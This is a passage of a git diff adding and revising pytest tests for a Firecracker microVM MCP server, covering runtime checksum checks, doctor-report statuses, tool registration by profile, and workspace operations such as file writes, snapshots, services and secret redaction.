copied_platform / "profiles" / profile - profile_dir.mkdir(parents=True, exist_ok=True) - for filename in ("vmlinux", "rootfs.ext4"): - source_file = source.artifacts_dir / profile / filename - (profile_dir / filename).write_bytes(source_file.read_bytes()) - + (copied_guest_dir / "pyro-init").write_text( + guest_init_path.read_text(encoding="utf-8"), + encoding="utf-8", + ) monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(copied_bundle)) with pytest.raises(RuntimeError, match="checksum mismatch"): resolve_runtime_paths() +def test_resolve_runtime_paths_guest_init_checksum_mismatch( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + source = resolve_runtime_paths() + copied_bundle = tmp_path / "bundle" + shutil.copytree(source.bundle_root.parent, copied_bundle) + copied_platform = copied_bundle / "linux-x86_64" + copied_guest_init = copied_platform / "guest" / "pyro-init" + copied_guest_init.write_text("#!/bin/sh\nexit 0\n", encoding="utf-8") + monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(copied_bundle)) + with pytest.raises(RuntimeError, match="checksum mismatch"): + resolve_runtime_paths() + + +def test_resolve_runtime_paths_guest_init_manifest_malformed( + monkeypatch: pytest.MonkeyPatch, tmp_path: Path +) -> None: + source = resolve_runtime_paths() + copied_bundle = tmp_path / "bundle" + shutil.copytree(source.bundle_root.parent, copied_bundle) + manifest_path = copied_bundle / "linux-x86_64" / "manifest.json" + manifest = json.loads(manifest_path.read_text(encoding="utf-8")) + guest = manifest.get("guest") + if not isinstance(guest, dict): + raise AssertionError("expected guest manifest section") + guest["init"] = {"path": "guest/pyro-init"} + manifest_path.write_text(json.dumps(manifest, indent=2), encoding="utf-8") + monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(copied_bundle)) + with pytest.raises(RuntimeError, match="runtime guest init manifest entry is malformed"): + resolve_runtime_paths() + + def test_doctor_report_has_runtime_fields() -> None: report = doctor_report() assert "runtime_ok" in report assert "kvm" in report assert "networking" in report + assert "daily_loop" in report if report["runtime_ok"]: runtime = report.get("runtime") assert isinstance(runtime, dict) assert "firecracker_bin" in runtime assert "guest_agent_path" in runtime + assert "guest_init_path" in runtime assert "component_versions" in runtime assert "environments" in runtime networking = report["networking"] @@ -86,6 +148,61 @@ def test_doctor_report_has_runtime_fields() -> None: assert "tun_available" in networking +def test_doctor_report_daily_loop_statuses( + monkeypatch: pytest.MonkeyPatch, + tmp_path: Path, +) -> None: + monkeypatch.setenv("PYRO_ENVIRONMENT_CACHE_DIR", str(tmp_path)) + cold_report = doctor_report(environment="debian:12") + cold_daily_loop = cold_report["daily_loop"] + assert cold_daily_loop["status"] == "cold" + assert cold_daily_loop["installed"] is False + + paths = resolve_runtime_paths() + environment_store = EnvironmentStore(runtime_paths=paths, cache_dir=tmp_path) + _materialize_installed_environment(environment_store, name="debian:12") + + installed_report = doctor_report(environment="debian:12") + installed_daily_loop = installed_report["daily_loop"] + assert installed_daily_loop["status"] == "cold" + assert installed_daily_loop["installed"] is True + + manifest_path = prepare_manifest_path( + tmp_path, + platform="linux-x86_64", + environment="debian:12", + ) + write_prepare_manifest( + manifest_path, + DailyLoopManifest( + environment="debian:12", + environment_version="1.0.0", + platform="linux-x86_64", + catalog_version=environment_store.catalog_version, + bundle_version=( + None + if paths.manifest.get("bundle_version") is None + else str(paths.manifest.get("bundle_version")) + ), + prepared_at=123.0, + network_prepared=True, + last_prepare_duration_ms=456, + ), + ) + warm_report = doctor_report(environment="debian:12") + warm_daily_loop = warm_report["daily_loop"] + assert warm_daily_loop["status"] == "warm" + assert warm_daily_loop["network_prepared"] is True + + stale_manifest = json.loads(manifest_path.read_text(encoding="utf-8")) + stale_manifest["catalog_version"] = "0.0.0" + manifest_path.write_text(json.dumps(stale_manifest), encoding="utf-8") + stale_report = doctor_report(environment="debian:12") + stale_daily_loop = stale_report["daily_loop"] + assert stale_daily_loop["status"] == "stale" + assert "catalog version changed" in str(stale_daily_loop["reason"]) + + def test_runtime_capabilities_reports_real_bundle_flags() -> None: paths = resolve_runtime_paths() capabilities = runtime_capabilities(paths) diff --git a/tests/test_runtime_boot_check.py b/tests/test_runtime_boot_check.py index 0733e0a..6e55134 100644 --- a/tests/test_runtime_boot_check.py +++ b/tests/test_runtime_boot_check.py @@ -1,6 +1,8 @@ from __future__ import annotations -from pyro_mcp.runtime_boot_check import _classify_result +import pytest + +from pyro_mcp.runtime_boot_check import _classify_result, run_boot_check def test_classify_result_reports_kernel_panic() -> None: @@ -19,3 +21,32 @@ def test_classify_result_reports_success_when_vm_stays_alive() -> None: vm_alive=True, ) assert reason is None + + +def test_classify_result_reports_logger_failure_and_early_exit() -> None: + logger_reason = _classify_result( + firecracker_log="Successfully started microvm", + serial_log="Could not initialize logger", + vm_alive=False, + ) + early_exit_reason = _classify_result( + firecracker_log="partial log", + serial_log="boot log", + vm_alive=False, + ) + assert logger_reason == "firecracker logger initialization failed" + assert early_exit_reason == "firecracker did not fully start the microVM" + + +def test_classify_result_reports_boot_window_exit_after_start() -> None: + reason = _classify_result( + firecracker_log="Successfully started microvm", + serial_log="boot log", + vm_alive=False, + ) + assert reason == "microVM exited before boot validation window elapsed" + + +def test_run_boot_check_requires_positive_wait_seconds() -> None: + with pytest.raises(ValueError, match="wait_seconds must be positive"): + run_boot_check(wait_seconds=0) diff --git a/tests/test_runtime_network_check.py b/tests/test_runtime_network_check.py index 35b5a87..0e26b5d 100644 --- a/tests/test_runtime_network_check.py +++ b/tests/test_runtime_network_check.py @@ -1,5 +1,7 @@ from __future__ import annotations +import sys + import pytest import pyro_mcp.runtime_network_check as runtime_network_check @@ -43,6 +45,7 @@ def test_network_check_uses_network_enabled_manager(monkeypatch: pytest.MonkeyPa def test_network_check_main_fails_on_unsuccessful_command( monkeypatch: pytest.MonkeyPatch, capsys: pytest.CaptureFixture[str] ) -> None: + monkeypatch.setattr(sys, "argv", ["runtime-network-check"]) monkeypatch.setattr( runtime_network_check, "run_network_check", diff --git a/tests/test_server.py b/tests/test_server.py index 0434702..1ad39b9 100644 --- a/tests/test_server.py +++ b/tests/test_server.py @@ -1,17 +1,46 @@ from __future__ import annotations import asyncio +import subprocess from pathlib import Path from typing import Any, cast import pytest import pyro_mcp.server as server_module +from pyro_mcp.contract import ( + PUBLIC_MCP_COLD_START_MODE_TOOLS, + PUBLIC_MCP_REPRO_FIX_MODE_TOOLS, + PUBLIC_MCP_VM_RUN_PROFILE_TOOLS, + PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS, +) from pyro_mcp.server import create_server from pyro_mcp.vm_manager import VmManager from pyro_mcp.vm_network import TapNetworkManager +def _git(repo: Path, *args: str) -> str: + result = subprocess.run( # noqa: S603 + ["git", "-c", "commit.gpgsign=false", *args], + cwd=repo, + check=True, + capture_output=True, + text=True, + ) + return result.stdout.strip() + + +def _make_repo(root: Path, *, content: str = "hello\n") -> Path: + root.mkdir() + _git(root, "init") + _git(root, "config", "user.name", "Pyro Tests") + _git(root, "config", "user.email", "pyro-tests@example.com") + (root / "note.txt").write_text(content, encoding="utf-8") + _git(root, "add", "note.txt") + _git(root, "commit", "-m", "init") + return root + + def test_create_server_registers_vm_tools(tmp_path: Path) -> None: manager = VmManager( backend_name="mock", @@ -25,12 +54,182 @@ def test_create_server_registers_vm_tools(tmp_path: Path) -> None: return sorted(tool.name for tool in tools) tool_names = asyncio.run(_run()) - assert "vm_create" in tool_names - assert "vm_exec" in tool_names - assert "vm_list_environments" in tool_names - assert "vm_network_info" in tool_names - assert "vm_run" in tool_names - assert "vm_status" in tool_names + assert tuple(tool_names) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) + + +def test_create_server_vm_run_profile_registers_only_vm_run(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + async def _run() -> list[str]: + server = create_server(manager=manager, profile="vm-run") + tools = await server.list_tools() + return sorted(tool.name for tool in tools) + + assert tuple(asyncio.run(_run())) == PUBLIC_MCP_VM_RUN_PROFILE_TOOLS + + +def test_create_server_workspace_core_profile_registers_expected_tools(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + async def _run() -> list[str]: + server = create_server(manager=manager, profile="workspace-core") + tools = await server.list_tools() + return sorted(tool.name for tool in tools) + + assert tuple(asyncio.run(_run())) == tuple(sorted(PUBLIC_MCP_WORKSPACE_CORE_PROFILE_TOOLS)) + + +def test_create_server_repro_fix_mode_registers_expected_tools(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + async def _run() -> list[str]: + server = create_server(manager=manager, mode="repro-fix") + tools = await server.list_tools() + return sorted(tool.name for tool in tools) + + assert tuple(asyncio.run(_run())) == tuple(sorted(PUBLIC_MCP_REPRO_FIX_MODE_TOOLS)) + + +def test_create_server_cold_start_mode_registers_expected_tools(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + + async def _run() -> list[str]: + server = create_server(manager=manager, mode="cold-start") + tools = await server.list_tools() + return sorted(tool.name for tool in tools) + + assert tuple(asyncio.run(_run())) == tuple(sorted(PUBLIC_MCP_COLD_START_MODE_TOOLS)) + + +def test_create_server_workspace_create_description_mentions_project_source(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + repo = _make_repo(tmp_path / "repo") + + async def _run() -> dict[str, Any]: + server = create_server(manager=manager, project_path=repo) + tools = await server.list_tools() + tool_map = {tool.name: tool.model_dump() for tool in tools} + return tool_map["workspace_create"] + + workspace_create = asyncio.run(_run()) + description = cast(str, workspace_create["description"]) + assert "If `seed_path` is omitted" in description + assert str(repo.resolve()) in description + + +def test_create_server_project_path_seeds_workspace_when_seed_path_is_omitted( + tmp_path: Path, +) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + repo = _make_repo(tmp_path / "repo", content="project-aware\n") + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], dict[str, Any]]: + server = create_server(manager=manager, project_path=repo) + created = _extract_structured( + await server.call_tool( + "workspace_create", + { + "environment": "debian:12-base", + "allow_host_compat": True, + }, + ) + ) + executed = _extract_structured( + await server.call_tool( + "workspace_exec", + { + "workspace_id": created["workspace_id"], + "command": "cat note.txt", + }, + ) + ) + return created, executed + + created, executed = asyncio.run(_run()) + assert created["workspace_seed"]["mode"] == "directory" + assert created["workspace_seed"]["seed_path"] == str(repo.resolve()) + assert created["workspace_seed"]["origin_kind"] == "project_path" + assert created["workspace_seed"]["origin_ref"] == str(repo.resolve()) + assert executed["stdout"] == "project-aware\n" + + +def test_create_server_repo_url_seeds_workspace_when_seed_path_is_omitted(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + repo = _make_repo(tmp_path / "repo", content="committed\n") + (repo / "note.txt").write_text("dirty\n", encoding="utf-8") + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], dict[str, Any]]: + server = create_server(manager=manager, repo_url=str(repo.resolve())) + created = _extract_structured( + await server.call_tool( + "workspace_create", + { + "environment": "debian:12-base", + "allow_host_compat": True, + }, + ) + ) + executed = _extract_structured( + await server.call_tool( + "workspace_exec", + { + "workspace_id": created["workspace_id"], + "command": "cat note.txt", + }, + ) + ) + return created, executed + + created, executed = asyncio.run(_run()) + assert created["workspace_seed"]["mode"] == "directory" + assert created["workspace_seed"]["seed_path"] is None + assert created["workspace_seed"]["origin_kind"] == "repo_url" + assert created["workspace_seed"]["origin_ref"] == str(repo.resolve()) + assert executed["stdout"] == "committed\n" def test_vm_run_round_trip(tmp_path: Path) -> None: @@ -56,10 +255,9 @@ def test_vm_run_round_trip(tmp_path: Path) -> None: { "environment": "debian:12", "command": "printf 'git version 2.0\\n'", - "vcpu_count": 1, - "mem_mib": 512, "ttl_seconds": 600, "network": False, + "allow_host_compat": True, }, ) ) @@ -94,7 +292,7 @@ def test_vm_tools_status_stop_delete_and_reap(tmp_path: Path) -> None: list[dict[str, object]], dict[str, Any], ]: - server = create_server(manager=manager) + server = create_server(manager=manager, profile="workspace-full") environments_raw = await server.call_tool("vm_list_environments", {}) if not isinstance(environments_raw, tuple) or len(environments_raw) != 2: raise TypeError("unexpected environments result") @@ -109,9 +307,8 @@ def test_vm_tools_status_stop_delete_and_reap(tmp_path: Path) -> None: "vm_create", { "environment": "debian:12-base", - "vcpu_count": 1, - "mem_mib": 512, "ttl_seconds": 600, + "allow_host_compat": True, }, ) ) @@ -127,9 +324,8 @@ def test_vm_tools_status_stop_delete_and_reap(tmp_path: Path) -> None: "vm_create", { "environment": "debian:12-base", - "vcpu_count": 1, - "mem_mib": 512, "ttl_seconds": 1, + "allow_host_compat": True, }, ) ) @@ -164,3 +360,391 @@ def test_server_main_runs_stdio_transport(monkeypatch: pytest.MonkeyPatch) -> No monkeypatch.setattr(server_module, "create_server", lambda: StubServer()) server_module.main() assert called == {"transport": "stdio"} + + +def test_workspace_core_profile_round_trip(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("old\n", encoding="utf-8") + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], ...]: + server = create_server(manager=manager, profile="workspace-core") + created = _extract_structured( + await server.call_tool( + "workspace_create", + { + "environment": "debian:12-base", + "allow_host_compat": True, + "seed_path": str(source_dir), + "name": "chat-loop", + "labels": {"issue": "123"}, + }, + ) + ) + workspace_id = str(created["workspace_id"]) + written = _extract_structured( + await server.call_tool( + "workspace_file_write", + { + "workspace_id": workspace_id, + "path": "note.txt", + "text": "fixed\n", + }, + ) + ) + executed = _extract_structured( + await server.call_tool( + "workspace_exec", + { + "workspace_id": workspace_id, + "command": "cat note.txt", + }, + ) + ) + diffed = _extract_structured( + await server.call_tool("workspace_diff", {"workspace_id": workspace_id}) + ) + export_path = tmp_path / "exported-note.txt" + exported = _extract_structured( + await server.call_tool( + "workspace_export", + { + "workspace_id": workspace_id, + "path": "note.txt", + "output_path": str(export_path), + }, + ) + ) + reset = _extract_structured( + await server.call_tool("workspace_reset", {"workspace_id": workspace_id}) + ) + deleted = _extract_structured( + await server.call_tool("workspace_delete", {"workspace_id": workspace_id}) + ) + return created, written, executed, diffed, exported, reset, deleted + + created, written, executed, diffed, exported, reset, deleted = asyncio.run(_run()) + assert created["name"] == "chat-loop" + assert created["labels"] == {"issue": "123"} + assert written["bytes_written"] == len("fixed\n".encode("utf-8")) + assert executed["stdout"] == "fixed\n" + assert diffed["changed"] is True + assert Path(str(exported["output_path"])).read_text(encoding="utf-8") == "fixed\n" + assert reset["command_count"] == 0 + assert deleted["deleted"] is True + + +def test_workspace_tools_round_trip(tmp_path: Path) -> None: + manager = VmManager( + backend_name="mock", + base_dir=tmp_path / "vms", + network_manager=TapNetworkManager(enabled=False), + ) + source_dir = tmp_path / "seed" + source_dir.mkdir() + (source_dir / "note.txt").write_text("ok\n", encoding="utf-8") + secret_file = tmp_path / "token.txt" + secret_file.write_text("from-file\n", encoding="utf-8") + + def _extract_structured(raw_result: object) -> dict[str, Any]: + if not isinstance(raw_result, tuple) or len(raw_result) != 2: + raise TypeError("unexpected call_tool result shape") + _, structured = raw_result + if not isinstance(structured, dict): + raise TypeError("expected structured dictionary result") + return cast(dict[str, Any], structured) + + async def _run() -> tuple[dict[str, Any], ...]: + server = create_server(manager=manager, profile="workspace-full") + created = _extract_structured( + await server.call_tool( + "workspace_create", + { + "environment": "debian:12-base", + "allow_host_compat": True, + "seed_path": str(source_dir), + "name": "repro-fix", + "labels": {"issue": "123"}, + "secrets": [ + {"name": "API_TOKEN", "value": "expected"}, + {"name": "FILE_TOKEN", "file_path": str(secret_file)}, + ], + }, + ) + ) + workspace_id = str(created["workspace_id"]) + listed_before = _extract_structured(await server.call_tool("workspace_list", {})) + updated = _extract_structured( + await server.call_tool( + "workspace_update", + { + "workspace_id": workspace_id, + "labels": {"owner": "codex"}, + "clear_labels": ["issue"], + }, + ) + ) + update_dir = tmp_path / "update" + update_dir.mkdir() + (update_dir / "more.txt").write_text("more\n", encoding="utf-8") + synced = _extract_structured( + await server.call_tool( + "workspace_sync_push", + { + "workspace_id": workspace_id, + "source_path": str(update_dir), + "dest": "subdir", + }, + ) + ) + executed = _extract_structured( + await server.call_tool( + "workspace_exec", + { + "workspace_id": workspace_id, + "command": 'sh -lc \'printf "%s\\n" "$API_TOKEN"\'', + "secret_env": {"API_TOKEN": "API_TOKEN"}, + }, + ) + ) + listed_files = _extract_structured( + await server.call_tool( + "workspace_file_list", + { + "workspace_id": workspace_id, + "path": "/workspace", + "recursive": True, + }, + ) + ) + file_read = _extract_structured( + await server.call_tool( + "workspace_file_read", + { + "workspace_id": workspace_id, + "path": "note.txt", + "max_bytes": 4096, + }, + ) + ) + file_written = _extract_structured( + await server.call_tool( + "workspace_file_write", + { + "workspace_id": workspace_id, + "path": "src/app.py", + "text": "print('hello from file op')\n", + }, + ) + ) + patched = _extract_structured( + await server.call_tool( + "workspace_patch_apply", + { + "workspace_id": workspace_id, + "patch": ( + "--- a/note.txt\n" + "+++ b/note.txt\n" + "@@ -1 +1 @@\n" + "-ok\n" + "+patched\n" + ), + }, + ) + ) + diffed = _extract_structured( + await server.call_tool("workspace_diff", {"workspace_id": workspace_id}) + ) + snapshot = _extract_structured( + await server.call_tool( + "snapshot_create", + {"workspace_id": workspace_id, "snapshot_name": "checkpoint"}, + ) + ) + snapshots = _extract_structured( + await server.call_tool("snapshot_list", {"workspace_id": workspace_id}) + ) + export_path = tmp_path / "exported-more.txt" + exported = _extract_structured( + await server.call_tool( + "workspace_export", + { + "workspace_id": workspace_id, + "path": "subdir/more.txt", + "output_path": str(export_path), + }, + ) + ) + service = _extract_structured( + await server.call_tool( + "service_start", + { + "workspace_id": workspace_id, + "service_name": "app", + "command": ( + 'sh -lc \'trap "exit 0" TERM; printf "%s\\n" "$API_TOKEN" >&2; ' + 'touch .ready; while true; do sleep 60; done\'' + ), + "ready_file": ".ready", + "secret_env": {"API_TOKEN": "API_TOKEN"}, + }, + ) + ) + services = _extract_structured( + await server.call_tool("service_list", {"workspace_id": workspace_id}) + ) + service_status = _extract_structured( + await server.call_tool( + "service_status", + { + "workspace_id": workspace_id, + "service_name": "app", + }, + ) + ) + service_logs = _extract_structured( + await server.call_tool( + "service_logs", + { + "workspace_id": workspace_id, + "service_name": "app", + "all": True, + }, + ) + ) + service_stopped = _extract_structured( + await server.call_tool( + "service_stop", + { + "workspace_id": workspace_id, + "service_name": "app", + }, + ) + ) + summary = _extract_structured( + await server.call_tool("workspace_summary", {"workspace_id": workspace_id}) + ) + reset = _extract_structured( + await server.call_tool( + "workspace_reset", + {"workspace_id": workspace_id, "snapshot": "checkpoint"}, + ) + ) + deleted_snapshot = _extract_structured( + await server.call_tool( + "snapshot_delete", + {"workspace_id": workspace_id, "snapshot_name": "checkpoint"}, + ) + ) + logs = _extract_structured( + await server.call_tool("workspace_logs", {"workspace_id": workspace_id}) + ) + deleted = _extract_structured( + await server.call_tool("workspace_delete", {"workspace_id": workspace_id}) + ) + return ( + created, + listed_before, + updated, + synced, + executed, + listed_files, + file_read, + file_written, + patched, + diffed, + snapshot, + snapshots, + exported, + service, + services, + service_status, + service_logs, + service_stopped, + summary, + reset, + deleted_snapshot, + logs, + deleted, + ) + + ( + created, + listed_before, + updated, + synced, + executed, + listed_files, + file_read, + file_written, + patched, + diffed, + snapshot, + snapshots, + exported, + service, + services, + service_status, + service_logs, + service_stopped, + summary, + reset, + deleted_snapshot, + logs, + deleted, + ) = asyncio.run(_run()) + assert created["state"] == "started" + assert created["name"] == "repro-fix" + assert created["labels"] == {"issue": "123"} + assert listed_before["count"] == 1 + assert listed_before["workspaces"][0]["name"] == "repro-fix" + assert updated["labels"] == {"owner": "codex"} + assert created["workspace_seed"]["mode"] == "directory" + assert created["secrets"] == [ + {"name": "API_TOKEN", "source_kind": "literal"}, + {"name": "FILE_TOKEN", "source_kind": "file"}, + ] + assert synced["workspace_sync"]["destination"] == "/workspace/subdir" + assert executed["stdout"] == "[REDACTED]\n" + assert any(entry["path"] == "/workspace/note.txt" for entry in listed_files["entries"]) + assert file_read["content"] == "ok\n" + assert file_written["path"] == "/workspace/src/app.py" + assert patched["changed"] is True + assert diffed["changed"] is True + assert snapshot["snapshot"]["snapshot_name"] == "checkpoint" + assert [entry["snapshot_name"] for entry in snapshots["snapshots"]] == [ + "baseline", + "checkpoint", + ] + assert exported["artifact_type"] == "file" + assert Path(str(exported["output_path"])).read_text(encoding="utf-8") == "more\n" + assert service["state"] == "running" + assert services["count"] == 1 + assert service_status["state"] == "running" + assert service_logs["stderr"].count("[REDACTED]") >= 1 + assert service_logs["tail_lines"] is None + assert service_stopped["state"] == "stopped" + assert summary["workspace_id"] == created["workspace_id"] + assert summary["commands"]["total"] >= 1 + assert summary["changes"]["available"] is True + assert summary["artifacts"]["exports"][0]["workspace_path"] == "/workspace/subdir/more.txt" + assert reset["workspace_reset"]["snapshot_name"] == "checkpoint" + assert reset["secrets"] == created["secrets"] + assert reset["command_count"] == 0 + assert reset["service_count"] == 0 + assert deleted_snapshot["deleted"] is True + assert logs["count"] == 0 + assert deleted["deleted"] is True diff --git a/tests/test_vm_environments.py b/tests/test_vm_environments.py index a5cd6d9..c87606f 100644 --- a/tests/test_vm_environments.py +++ b/tests/test_vm_environments.py @@ -42,6 +42,7 @@ def _fake_runtime_paths(tmp_path: Path) -> RuntimePaths: firecracker_bin = bundle_root / "bin" / "firecracker" jailer_bin = bundle_root / "bin" / "jailer" guest_agent_path = bundle_root / "guest" / "pyro_guest_agent.py" + guest_init_path = bundle_root / "guest" / "pyro-init" artifacts_dir = bundle_root / "profiles" notice_path = bundle_parent / "NOTICE" @@ -54,6 +55,7 @@ def _fake_runtime_paths(tmp_path: Path) -> RuntimePaths: firecracker_bin.write_text("firecracker\n", encoding="utf-8") jailer_bin.write_text("jailer\n", encoding="utf-8") guest_agent_path.write_text("print('guest')\n", encoding="utf-8") + guest_init_path.write_text("#!/bin/sh\n", encoding="utf-8") notice_path.write_text("notice\n", encoding="utf-8") return RuntimePaths( @@ -62,12 +64,26 @@ def _fake_runtime_paths(tmp_path: Path) -> RuntimePaths: firecracker_bin=firecracker_bin, jailer_bin=jailer_bin, guest_agent_path=guest_agent_path, + guest_init_path=guest_init_path, artifacts_dir=artifacts_dir, notice_path=notice_path, manifest={"platform": "linux-x86_64"}, ) +def _write_local_profile( + runtime_paths: RuntimePaths, + profile_name: str, + *, + kernel: str = "kernel\n", + rootfs: str = "rootfs\n", +) -> None: + profile_dir = runtime_paths.artifacts_dir / profile_name + profile_dir.mkdir(parents=True, exist_ok=True) + (profile_dir / "vmlinux").write_text(kernel, encoding="utf-8") + (profile_dir / "rootfs.ext4").write_text(rootfs, encoding="utf-8") + + def _sha256_digest(payload: bytes) -> str: return f"sha256:{hashlib.sha256(payload).hexdigest()}" @@ -108,7 +124,9 @@ def test_get_environment_rejects_unknown() -> None: def test_environment_store_installs_from_local_runtime_source(tmp_path: Path) -> None: - store = EnvironmentStore(runtime_paths=resolve_runtime_paths(), cache_dir=tmp_path / "cache") + runtime_paths = _fake_runtime_paths(tmp_path) + _write_local_profile(runtime_paths, "debian-git") + store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") installed = store.ensure_installed("debian:12") assert installed.kernel_image.exists() @@ -117,7 +135,9 @@ def test_environment_store_installs_from_local_runtime_source(tmp_path: Path) -> def test_environment_store_pull_and_cached_inspect(tmp_path: Path) -> None: - store = EnvironmentStore(runtime_paths=resolve_runtime_paths(), cache_dir=tmp_path / "cache") + runtime_paths = _fake_runtime_paths(tmp_path) + _write_local_profile(runtime_paths, "debian-git") + store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") before = store.inspect_environment("debian:12") assert before["installed"] is False @@ -145,7 +165,7 @@ def test_environment_store_uses_env_override_for_default_cache_dir( def test_environment_store_installs_from_archive_when_runtime_source_missing( tmp_path: Path, monkeypatch: pytest.MonkeyPatch ) -> None: - runtime_paths = resolve_runtime_paths() + runtime_paths = _fake_runtime_paths(tmp_path) source_environment = get_environment("debian:12-base", runtime_paths=runtime_paths) archive_dir = tmp_path / "archive" @@ -157,30 +177,6 @@ def test_environment_store_installs_from_archive_when_runtime_source_missing( archive.add(archive_dir / "vmlinux", arcname="vmlinux") archive.add(archive_dir / "rootfs.ext4", arcname="rootfs.ext4") - missing_bundle = tmp_path / "bundle" - platform_root = missing_bundle / "linux-x86_64" - platform_root.mkdir(parents=True, exist_ok=True) - (missing_bundle / "NOTICE").write_text( - runtime_paths.notice_path.read_text(encoding="utf-8"), - encoding="utf-8", - ) - (platform_root / "manifest.json").write_text( - runtime_paths.manifest_path.read_text(encoding="utf-8"), - encoding="utf-8", - ) - (platform_root / "bin").mkdir(parents=True, exist_ok=True) - (platform_root / "bin" / "firecracker").write_bytes(runtime_paths.firecracker_bin.read_bytes()) - (platform_root / "bin" / "jailer").write_bytes(runtime_paths.jailer_bin.read_bytes()) - guest_agent_path = runtime_paths.guest_agent_path - if guest_agent_path is None: - raise AssertionError("expected guest agent path") - (platform_root / "guest").mkdir(parents=True, exist_ok=True) - (platform_root / "guest" / "pyro_guest_agent.py").write_text( - guest_agent_path.read_text(encoding="utf-8"), - encoding="utf-8", - ) - - monkeypatch.setenv("PYRO_RUNTIME_BUNDLE_DIR", str(missing_bundle)) monkeypatch.setattr( "pyro_mcp.vm_environments.CATALOG", { @@ -200,7 +196,7 @@ def test_environment_store_installs_from_archive_when_runtime_source_missing( }, ) store = EnvironmentStore( - runtime_paths=resolve_runtime_paths(verify_checksums=False), + runtime_paths=runtime_paths, cache_dir=tmp_path / "cache", ) installed = store.ensure_installed("debian:12-base") @@ -209,6 +205,91 @@ def test_environment_store_installs_from_archive_when_runtime_source_missing( assert installed.rootfs_image.read_text(encoding="utf-8") == "rootfs\n" +def test_environment_store_skips_empty_local_source_dir_and_uses_archive( + tmp_path: Path, monkeypatch: pytest.MonkeyPatch +) -> None: + runtime_paths = _fake_runtime_paths(tmp_path) + source_environment = get_environment("debian:12-base", runtime_paths=runtime_paths) + (runtime_paths.artifacts_dir / source_environment.source_profile).mkdir( + parents=True, + exist_ok=True, + ) + + archive_dir = tmp_path / "archive" + archive_dir.mkdir(parents=True, exist_ok=True) + (archive_dir / "vmlinux").write_text("kernel\n", encoding="utf-8") + (archive_dir / "rootfs.ext4").write_text("rootfs\n", encoding="utf-8") + archive_path = tmp_path / "environment.tgz" + with tarfile.open(archive_path, "w:gz") as archive: + archive.add(archive_dir / "vmlinux", arcname="vmlinux") + archive.add(archive_dir / "rootfs.ext4", arcname="rootfs.ext4") + + monkeypatch.setattr( + "pyro_mcp.vm_environments.CATALOG", + { + "debian:12-base": source_environment.__class__( + name=source_environment.name, + version=source_environment.version, + description=source_environment.description, + default_packages=source_environment.default_packages, + distribution=source_environment.distribution, + distribution_version=source_environment.distribution_version, + source_profile=source_environment.source_profile, + platform=source_environment.platform, + source_url=archive_path.resolve().as_uri(), + source_digest=source_environment.source_digest, + compatibility=source_environment.compatibility, + ) + }, + ) + store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") + + installed = store.ensure_installed("debian:12-base") + + assert installed.kernel_image.read_text(encoding="utf-8") == "kernel\n" + assert installed.rootfs_image.read_text(encoding="utf-8") == "rootfs\n" + + +def test_environment_store_marks_broken_symlink_install_uninstalled_and_repairs_it( + tmp_path: Path, +) -> None: + runtime_paths = _fake_runtime_paths(tmp_path) + _write_local_profile( + runtime_paths, + "debian-git", + kernel="kernel-fixed\n", + rootfs="rootfs-fixed\n", + ) + store = EnvironmentStore(runtime_paths=runtime_paths, cache_dir=tmp_path / "cache") + spec = get_environment("debian:12", runtime_paths=runtime_paths) + install_dir = store.cache_dir / "linux-x86_64" / "debian_12-1.0.0" + install_dir.mkdir(parents=True, exist_ok=True) + (install_dir / "environment.json").write_text( + json.dumps( + { + "catalog_version": "2.0.0", + "name": spec.name, + "version": spec.version, + "source": "bundled-runtime-source", + "source_digest": spec.source_digest, + "installed_at": 0, + } + ), + encoding="utf-8", + ) + (install_dir / "vmlinux").symlink_to("missing-vmlinux") + (install_dir / "rootfs.ext4").symlink_to("missing-rootfs.ext4") + + inspected_before = store.inspect_environment("debian:12") + assert inspected_before["installed"] is False + + pulled = store.pull_environment("debian:12") + + assert pulled["installed"] is True + assert Path(str(pulled["kernel_image"])).read_text(encoding="utf-8") == 